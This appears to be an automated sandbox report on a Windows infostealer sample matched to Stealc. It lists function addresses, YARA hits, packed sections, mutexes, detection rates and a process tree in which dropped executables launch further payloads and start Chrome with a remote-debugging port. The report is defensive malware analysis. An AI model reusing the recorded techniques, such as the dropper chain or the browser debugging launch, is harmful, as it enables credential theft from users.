Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF46FF0	4_2_6BF46FF0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1DFE0	4_2_6BF1DFE0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF677A0	4_2_6BF677A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF57710	4_2_6BF57710
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF29F00	4_2_6BF29F00
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1BEF0	4_2_6BF1BEF0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF2FEF0	4_2_6BF2FEF0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF876E3	4_2_6BF876E3
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF74EA0	4_2_6BF74EA0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF35E90	4_2_6BF35E90
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF7E680	4_2_6BF7E680
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1C670	4_2_6BF1C670
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF86E63	4_2_6BF86E63
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF39E50	4_2_6BF39E50
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF53E50	4_2_6BF53E50
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF34640	4_2_6BF34640
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF62E4E	4_2_6BF62E4E
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF79E30	4_2_6BF79E30
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF57E10	4_2_6BF57E10
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF65600	4_2_6BF65600
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF785F0	4_2_6BF785F0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF50DD0	4_2_6BF50DD0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3ED10	4_2_6BF3ED10
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF40512	4_2_6BF40512
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF2FD00	4_2_6BF2FD00
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF56CF0	4_2_6BF56CF0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF1D4E0	4_2_6BF1D4E0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF3D4D0	4_2_6BF3D4D0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF264C0	4_2_6BF264C0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF734A0	4_2_6BF734A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF7C4A0	4_2_6BF7C4A0
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF26C80	4_2_6BF26C80
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF8545C	4_2_6BF8545C
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF25440	4_2_6BF25440
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF8542B	4_2_6BF8542B
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF55C10	4_2_6BF55C10
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF62C10	4_2_6BF62C10
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: 4_2_6BF8AC00	4_2_6BF8AC00
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00235C83	5_2_00235C83
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_0023735A	5_2_0023735A
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00278860	5_2_00278860
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00348101	5_2_00348101
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00234DE0	5_2_00234DE0
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: 5_2_00234B30	5_2_00234B30
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_0080E094	10_2_0080E094
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00801000	10_2_00801000
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00826102	10_2_00826102
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00812AA1	10_2_00812AA1
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_008243FF	10_2_008243FF
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00818D90	10_2_00818D90
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 10_2_00813EA0	10_2_00813EA0
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 12_3_0158F7DC	12_3_0158F7DC
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 12_3_0158F7DC	12_3_0158F7DC
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 12_3_0158F7DC	12_3_0158F7DC
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: 12_3_0158F7DC	12_3_0158F7DC

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Code function: String function: 002480C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: String function: 6BF594D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Code function: String function: 6BF4CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Code function: String function: 0080E5A0 appears 49 times

Source: _pytransform.dll.22.dr

Static PE information: Number of sections : 11 > 10

Source: python3.dll.22.dr

Static PE information: No import functions for PE file found

Source: random(4).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 33.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 39.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: random[1].exe.9.dr	Static PE information: Section: .bss ZLIB complexity 1.0003244500411184
Source: 9ce3a8a3dc.exe.9.dr	Static PE information: Section: .bss ZLIB complexity 1.0003244500411184
Source: random[2].exe.9.dr	Static PE information: Section: ytfdrfzx ZLIB complexity 0.9902170549438368
Source: d76dd796e0.exe.9.dr	Static PE information: Section: ytfdrfzx ZLIB complexity 0.9902170549438368
Source: random[2].exe0.9.dr	Static PE information: Section: jzrbpplf ZLIB complexity 0.9945949556599774
Source: e13ae12563.exe.9.dr	Static PE information: Section: jzrbpplf ZLIB complexity 0.9945949556599774
Source: random[3].exe0.9.dr	Static PE information: Section: whflkpvn ZLIB complexity 0.994563728436086
Source: 13f4808de9.exe.9.dr	Static PE information: Section: whflkpvn ZLIB complexity 0.994563728436086

Source: FIJDGIJJKE.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 334592f815.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[3].exe2.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: random[4].exe0.9.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[4].exe0.9.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ad8a3a5306.exe.9.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: ad8a3a5306.exe.9.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@99/227@0/22

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Code function: 4_2_6BF77030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

4_2_6BF77030

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\UQ6NO1AT.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_03

Source: C:\Users\user\Desktop\random(4).exe

File created: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Jump to behavior

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Anti Malware Scan Interface: [IO.COMpresSiOn.CoMprESSioNMoDe]::DeCOMpreSs)),[TeXt.EncoDIng])).rEaDTOENd()@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = ''# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = ''# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powershell','unit testing','bdd','tdd','mocking') # The web address of an icon which can be used in galle
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Anti Malware Scan Interface: [IO.COMpresSiOn.CoMprESSioNMoDe]::DeCOMpreSs)),[TeXt.EncoDIng])).rEaDTOENd()@{GUID = "D22E34C9-0A99-47D7-98F3-C0570257DEB6"Author = "Microsoft Corporation"CompanyName = "Microsoft Corporation"Copyright = " Microsoft Corporation. All rights reserved."ModuleVersion = "2.1.639.0"PowerShellVersion = "5.1"CLRVersion = "2.0"ModuleToProcess = "Microsoft.Uev.Commands.dll"Description = "User Experience Virtualization management commands."TypesToProcess = "UEV.Types.ps1xml"# Location from which to download updateable help HelpInfoURI = "https://go.microsoft.com/fwlink/?LinkId=826061"CompatiblePSEditions = @("Desktop", "Core")}## Module manifest for module 'WheaPolicyManagement'## Generated by: Microsoft Corporation## Generated on: 2/14/2011#@{# These modules will be processed when the module manifest is loaded.NestedModules = 'Microsoft.Windows.Whea.WheaMemoryPolicy'# This GUID is used to uniquely identify this module.GUID = 'b7bf4d74-f837-430e-810f-234f26021253'# The author of this module.Author = 'Microsoft Corporation'# The company or vendor for this module.CompanyName = 'Microsoft Corporation'# The copyright statement for this module.Copyright = ' Microsoft Corporation. All rights reserved.'# A description of this module (not be used because module manifest is not being localized).# Description = 'Whea WMI Module for Memory Policy'# The version of this module.ModuleVersion = '2.0.0.0'# The minimum version of PowerShell needed to use this module.PowerShellVersion = '5.1'# The CLR version required to use this module.CLRVersion = '4.0'# Request fwlink from UAHelpInfoUri="https://go.microsoft.com/fwlink/?linkid=390848"# Cmdlets to ExportCmdletsToExport="Get-WheaMemoryPolicy", "Set-WheaMemoryPolicy"# PowerShell editions this module is compatible withCompatiblePSEditions = @('Core', 'Desktop')}@{ GUID = "{4BC4DED7-249B-41AC-973F-83AF4D25D82B}" Author = "Microsoft Corporation" CompanyName = "Microsoft Corporation" Copyright = " Microsoft Corporation. All rights reserved." HelpInfoUri = "https://go.microsoft.com/fwlink/?linkid=390850" ModuleVersion = "1.0" PowerShellVersion = '5.1' ClrVersion = "4.0" RootModule = "WindowsErrorReporting.psm1" NestedModules = "Microsoft.WindowsErrorReporting.PowerShell.dll" TypesToProcess = @() FormatsToProcess = @() CmdletsToExport = @( 'Enable-WindowsErrorReporting', 'Disable-WindowsErrorReporting', 'Get-WindowsErrorReporting' ) AliasesToExport = @() CompatiblePSEditions = @('Desktop', 'Core')}@{GUID="{562C6233-EAEE-4876-B36C-D6B1F256D4E6}"Author="Microsoft Corporation"CompanyName="Microsoft Corporation"Copyright=" Microsoft Corporation. All rights reserved."ModuleVersion="1.0.0.0"PowerShellVersion="5.1"CLRVersion="4.0"NestedModules="Microsoft.WindowsSearch.Commands"HelpInfoUri= "https://go.microsoft.com/fwlink/?LinkId=280243"CmdletsToExport="Get-WindowsSearchSetting","Set-WindowsSearchSetting"CompatiblePSEditions=@("Core","Desktop")}## Module manifest fo

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random(4).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2348408685.000000006C14F000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: random(4).exe, 00000000.00000003.1751682612.00000000053CA000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1752110267.0000000005395000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2139624194.00000000053E5000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2234968540.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347506230.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: random(4).exe	Virustotal: Detection: 58%
Source: random(4).exe	ReversingLabs: Detection: 47%

Source: 7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\random(4).exe

File read: C:\Users\user\Desktop\random(4).exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\random(4).exe "C:\Users\user\Desktop\random(4).exe"
Source: C:\Users\user\Desktop\random(4).exe	Process created: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe "C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe"
Source: C:\Users\user\Desktop\random(4).exe	Process created: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe "C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe"
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2192,i,12920997312320207026,11927117372627731275,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
